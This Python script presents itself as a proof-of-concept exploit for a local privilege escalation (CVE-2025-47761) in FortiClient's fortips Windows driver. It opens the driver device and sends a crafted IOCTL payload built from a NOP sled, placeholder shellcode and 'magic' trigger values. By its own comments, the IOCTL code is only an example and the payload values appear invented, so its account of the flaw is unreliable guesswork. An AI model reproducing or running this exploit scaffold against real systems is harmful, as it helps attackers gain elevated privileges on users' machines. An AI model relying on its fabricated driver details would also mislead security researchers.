'''
CVE-2025-47761 PoC - FortiClientWindows fortips driver IOCTL exploitation
Note: This is a conceptual PoC for educational and security research purposes only.
Author: Security Research
Reference: Fortinet PSIRT FG-IR-25-112
'''
import ctypes
from ctypes import wintypes
import struct
import time
# Windows API Definitions
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
OPEN_EXISTING = 3
IOCTL_FORTIPS_BASE = 0x9000 # Example IOCTL code base
# Define the vulnerable IOCTL codes
CTL_CODE_GENERIC = 0x0000009B # Example - actual code requires reverse engineering
class FORTIPS_IOCTL_REQUEST(ctypes.Structure):
_fields_ = [
("input_buffer", ctypes.c_void_p),
("input_size", wintypes.DWORD),
("output_buffer", ctypes.c_void_p),
("output_size", wintypes.DWORD),
("magic", wintypes.DWORD),
]
def open_fortips_device():
"""Open handle to fortips driver device"""
device_name = r"\\.\FortiPS"
handle = ctypes.windll.kernel32.CreateFileA(
device_name.encode(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
None,
OPEN_EXISTING,
0,
None
)
if handle == -1:
raise Exception(f"Failed to open device. Error: {ctypes.windll.kernel32.GetLastError()}")
return handle
def send_malicious_ioctl(handle, ioctl_code, exploit_payload):
"""
Send malicious IOCTL request to fortips driver
This attempts to exploit insufficient access control
"""
input_buffer = ctypes.create_string_buffer(exploit_payload)
output_buffer = ctypes.create_string_buffer(1024)
bytes_returned = wintypes.DWORD()
result = ctypes.windll.kernel32.DeviceIoControl(
handle,
ioctl_code,
input_buffer,
len(exploit_payload),
output_buffer,
len(output_buffer),
ctypes.byref(bytes_returned),
None
)
return result, output_buffer.raw[:bytes_returned.value]
def create_exploit_payload():
"""
Create heap spray and exploit payload
Note: Actual exploitation requires specific heap manipulation
"""
# Magic value expected by driver
magic = struct.pack("<I", 0xDEADBEEF)
# NOP sled + shellcode placeholder
nop_sled = b"\x90" * 256
# Placeholder for actual shellcode
# In real exploit, this would be stage 1 shellcode
shellcode = b"\xCC" * 256 # INT3 for debugging
# Trigger value
trigger = struct.pack("<I", 0x1337C0DE)
return magic + nop_sled + shellcode + trigger
def check_prerequisites():
"""Check if prerequisites for exploitation are met"""
print("[*] Checking prerequisites for CVE-2025-47761 exploitation...")
# Check for running VPN IPSec connection
print("[!] Note: Requires valid and running VPN IPSec connection")
print("[!] Note: Requires local authenticated user access")
print("[*] Prerequisites check - conceptual only")
return True
def main():
print("="*60)
print("CVE-2025-47761 - FortiClientWindows Local Privilege Escalation")
print("="*60)
print()
# Check prerequisites
if not check_prerequisites():
print("[-] Prerequisites not met. Exiting.")
return
try:
print("[*] Opening fortips driver handle...")
handle = open_fortips_device()
print(f"[+] Device handle opened: {handle}")
print("[*] Creating exploit payload...")
payload = create_exploit_payload()
print(f"[+] Payload size: {len(payload)} bytes")
print("[*] Sending malicious IOCTL request...")
result, output = send_malicious_ioctl(handle, CTL_CODE_GENERIC, payload)
if result:
print("[+] IOCTL request processed")
print(f"[*] Output: {output.hex()}")
else:
error = ctypes.windll.kernel32.GetLastError()
print(f"[-] IOCTL request failed. Error code: {error}")
# Close handle
ctypes.windll.kernel32.CloseHandle(handle)
print("[*] Device handle closed")
except Exception as e:
print(f"[-] Error: {e}")
print()
print("[!] This is a proof-of-concept for security research only.")
print("[!] Actual exploitation requires detailed reverse engineering.")
print("[!] Mitigation: Upgrade to FortiClientWindows 7.4.4 or later.")
if __name__ == "__main__":
main()